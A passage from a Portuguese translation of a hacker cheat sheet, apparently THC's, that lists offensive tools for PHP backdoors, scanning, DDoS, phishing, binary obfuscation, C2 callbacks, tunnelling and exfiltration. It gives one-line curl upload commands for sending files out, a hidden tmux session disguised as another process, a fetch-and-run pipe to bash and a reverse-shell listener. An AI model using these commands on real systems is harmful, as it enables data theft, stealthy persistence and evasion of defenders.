1. https://www.kali.org/tools/weevely - Backdoor PHP

Escâneres de rede
1. https://github.com/robertdavidgraham/masscan - Escaneie toda a Internet
1. https://github.com/ptrrkssn/pnscan - Escâner de rede rápido
1. https://zmap.io/ - ZMap & ZGrab

Escâneres de vulnerabilidades (esteja ciente: todos eles geram 99% de falsos positivos não exploráveis. Todos são ruins.)
1. [Raccoon](https://github.com/evyatarmeged/Raccoon) - Reconhecimento e coleta de informações
1. [Osmedeus](https://github.com/j3ssie/osmedeus) - Coleta de vulnerabilidades e informações
1. [FullHunt](https://github.com/fullhunt/) - escâner de log4j e spring4shell 

DDoS
1. [DeepNet](https://github.com/the-deepnet/ddos) - nós desprezamos DDoS, mas se tivéssemos que escolher, este seria a nossa escolha.

Binários estáticos / ferramentas pré-compiladas
1. https://bin.pkgforge.dev https://pkgs.pkgforge.dev ([github](https://github.com/pkgforge/soarpkgs), [Soar Project](https://github.com/pkgforge/soar))
1. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
2. https://lolbas-project.github.io/ (Windows)
1. https://iq.thc.org/cross-compiling-exploits

Phishing
1. https://github.com/htr-tech/zphisher - Não hackeamos assim, mas é o que usaríamos.
2. https://da.gd/ - TinyUrl ainda menor e permite https://[email protected]/blah

Ferramentas
1. https://github.com/hackerschoice/bincrypter - Ofusque e empacote _qualquer_ binário Linux
1. https://github.com/guitmz/ezuri - Ofusque binários Linux (somente ELF)
1. https://tmate.io/ - Compartilhe uma tela com outras pessoas

Callback / Canary / Comando e Controle
1. https://app.interactsh.com
1. https://api.telegram.org
1. https://webhook.site

Tunelamento
1. [Gost](https://github.com/ginuerzh/gost/blob/master/README_en.md)
1. [WireTap](https://github.com/sandialabs/wiretap) ou [Segfault's WireGuard](https://www.thc.org/segfault/wireguard/).
1. [ngrok](https://ngrok.com/download), [cloudflared](https://developers.cloudflare.com/cloudflare-one/connections/connect-apps) ou [pagekite](https://pagekite.net/) para tornar um servidor atrás de NAT acessível a partir da Internet pública.

Exfil<a id="cloudexfil"></a>
1. [Blitz](https://github.com/hackerschoice/gsocket#blitz) - `blitz -l` / `blitz foo.txt`
2. [Segfault.net](https://thc.org/segfault) - digite `exfil`
3. [RedDrop](https://github.com/cyberbutler/RedDrop) - execute seu próprio servidor de exfiltração
1. [Mega](https://mega.io/cmd)
2. [oshiAt](https://oshi.at/) - também na TOR. `curl -T foo.txt https://oshi.at`
3. [0x0.at](https://0x0.st) - `curl -F'[email protected]'  https://0x0.st/`
5. [Transfer.sh](https://transfer.sh/) - `curl -T foo.txt https://transfer.sh`
6. [LitterBox](https://litterbox.catbox.moe/tools.php) - `curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php`  
7. [Croc](https://github.com/schollz/croc) - `croc send foo.txt / croc anit-price-example`
8. [MagicWormhole](https://pypi.org/project/magic-wormhole/)

Publicação<a id="pub"></a>
1. [free BT/DC/eD2k seedbox](https://valdikss.org.ru/schare/)
1. Ou use /onion no [segfault.net](https://www.thc.org/segfault) ou o bom e velho https com ngrok
2. [Cloudflare](https://www.cloudflare.com) - O plano gratuito permite a maioria das coisas (dns + domínios + túneis).
1. [Njal.la](https://njal.la) - Registrador de domínios focado em privacidade
1. [DuckDNS](https://www.duckdns.org/) - Nomes de domínio gratuitos
1. [AnonDNS](https://anondns.net/) - Nome de domínio gratuito (anônimo)
1. [afraid.org](https://www.afraid.org) - DNS dinâmico gratuito para o seu domínio
1. [hostwinds](https://hostwinds.com) - Pague com criptomoedas
1. [unstoppable domains](https://unstoppabledomains.com) - Pague com criptomoedas
1. [he.net](https://dns.he.net/) - Serviço de servidor de nomes gratuito
1. [0bin](https://0bin.net/) / [paste.ec](https://paste.ec) - PasteBin criptografado
1. [pad.riseup.net](https://pad.riseup.net) - Crie documentos e compartilhe-os com segurança

Fóruns e conferências
1. [AlligatorCon](https://www.alligatorcon.eu/) - o original
1. [0x41con](https://0x41con.org/)
1. [TumpiCon](https://tumpicon.org/)
1. [0x00sec](https://0x00sec.org/)

Canais do Telegram<a id="channels"></a>
1. [The Hacker's Choice](https://t.me/thcorg)
1. [The Hacker News](https://t.me/thehackernews)
1. [CyberSecurity Technologies](https://t.me/CyberSecurityTechnologies)
1. [Offensive Twitter](https://t.me/OffensiveTwitter)
1. [Pwn3rzs](https://t.me/Pwn3rzs)
1. [VX-Underground](https://t.me/vxunderground)
1. [Android Security / Malware](https://t.me/androidMalware)
1. [OSINT CyberDetective](https://t.me/cybdetective)
1. [BookZillaaa](https://t.me/bookzillaaa)
1. [Rootkit Researchers](https://t.me/kernel_rootkit)

Mapas mentais e conhecimento
1. [Compass Sec Cheat Sheets](https://github.com/CompassSecurity/Hacking_Tools_Cheat_Sheet)
2. [Network Pentesting](https://github.com/wearecaster/NetworkNightmare/blob/main/NetworkNightmare_by_Caster.png)
1. [Active Directory](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg)

<a id="cool-linux-commands"></a>
**13.ii. Comandos Linux legais**

1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/
1. https://github.com/ibraheemdev/modern-unix

<a id="tmux"></a>
**13.iii. Referência rápida do Tmux**


| | Tmux Cheat Sheet |
| --- | --- |
| Max Buffer | `Ctrl-b` + `:` + `set-option -g history-limit 65535` |
| SaveScrollback | `Ctrl-b` + `:` + `capture-pane -S -` seguido de `Ctrl-b` + `:` + `save-buffer filename.txt`. |
| SpyScrollback | `tmux capture-pane -e -pS- -t 6.0` para capturar o painel 6, janela 0 de um tmux em execução. Remova `-e` para salvar sem cor. |
| Clear | `tmux send-keys -R C-l \; clear-history -t6.0` para limpar a tela e apagar o histórico de scrollback. |
| Logging | `Ctrl-b` + `:` + `bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'`<BR>Pressione `Ctrl-b` + `Shift + P` para iniciar e parar. |
| HiddenTmux | `cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache`<BR>Para anexar à sua sessão, faça <BR>`cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach` |
| Attach | Inicie um novo tmux, depois digite `Ctrl-b` + `s` e use `LEFT`, `RIGHT` para visualizar e selecionar qualquer sessão. |
| Menu | `Ctrl-b` + `>`. Depois use `Ctrl-b` + `UP`, `DOWN`, `LEFT` ou `RIGHT` para mover entre os painéis. |

<a id="useful-commands"></a>
**13.iv. Comandos úteis**

Use `lsof -Pni` ou `netstat -putan` (ou `ss -putan`) para listar todas as conexões de Internet (_-tu_).

Use `ss -lntp` para mostrar todos os sockets TCP (_-t_) em escuta (_-l_).

Use `netstat -rn` ou `ip route show` para mostrar a rota padrão da Internet.

Use `curl cheat.sh/tar` para obter ajuda TLDR para o tar. Funciona com qualquer outro comando Linux.

Use `curl -fsSL bench.sh | bash` para testar a velocidade de um servidor.

Hackear em links de alta latência ou links lentos pode ser frustrante. Cada tecla é transmitida uma a uma e qualquer erro de digitação se torna muito mais frustrante e demorado de desfazer. *rlwrap* vem ao resgate. Ele armazena em buffer todas as teclas até que *Enter* seja pressionado e então transmite a linha inteira de uma só vez. Isso torna muito mais fácil digitar em alta velocidade, corrigir erros de digitação, ...

Exemplo para o lado receptor de um túnel reverso:```sh
rlwrap --always-readline nc -vnlp 1524
```
Exemplo para *SSH*:```sh
rlwrap --always-readline ssh user@host
```
<a id="hacker"></a>
## 14. Como se tornar um hacker

Existem muitas formas, mas uma é:

1. Use Linux e torne-se proficiente em Bash. Aprenda todos os comandos do Linux.
2. Aprenda como a Internet funciona. Instale e configure alguns servidores (via acesso ao shell).
4. Entenda a Arquitetura de Sistemas e como um SO funciona.
4. Leia todos os livros. Pergunte a si mesmo "por que é feito desta forma e não da outra?".
5. Leia os 10 principais artigos da [Phrack](https://www.phrack.org). 
6. Entre em um canal de hackers. Cadastre-se no [TryHackMe](https://tryhackme.com/) ou no [HackTheBox](https://www.hackthebox.com/).
7. Seja brincalhão.

---
<a id="others"></a>
## 15. Outros Sites

1. [Phineas Fisher](https://blog.isosceles.com/phineas-fisher-hacktivism-and-magic-tricks/) - Sem rodeios. Direto. Como gostamos.
1. [Hacking HackingTeam - a HackBack](https://gist.github.com/jaredsburrows/9e121d2e5f1147ab12a696cf548b90b0) - Antigo, mas talento real em ação.
2. [Guacamaya Hackback](https://www.youtube.com/watch?v=5vRIisM0Op4)
3. [Vx Underground](https://www.vx-underground.org/)
4. [HTB absolute](https://0xdf.gitlab.io/2023/05/27/htb-absolute.html) - Ataque bem escrito e explicado.
5. [Conti Leak](https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak) - Hacking no Windows. Pragmático.
6. [Red Team Notes](https://www.ired.team/)
7. [InfoSec CheatSheet](https://github.com/r1cksec/cheatsheets)
8. [HackTricks](https://book.hacktricks.xyz/welcome/readme)
9. [Awesome Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming)
10. [Hacking Resources](https://github.com/vitalysim/Awesome-Hacking-Resources)
10. [Awesome Hacking](https://github.com/Hack-with-Github/Awesome-Hacking)
11. [VulHub](https://github.com/vulhub/vulhub) - Teste seus exploits
12. [Qubes-OS](https://www.qubes-os.org/) - SO de desktop focado em segurança com VMs convidadas (descartáveis) isoladas por XEN (Fedora, Debian, Whonix prontos para uso)


---
Shoutz: ADM, subz/#9x, DrWho, spoty
Junte-se a nós no [Telegram](https://t.me/thcorg).

[!["Buy Me A Coffee"](https://assets.kitploit.com/production/public/readmes/48874/b0f3b1ebb053f5127ff379c6facf01bc6301a7bcec689a2682ce0c19747365f3.webp)](https://www.buymeacoffee.com/hackerschoice)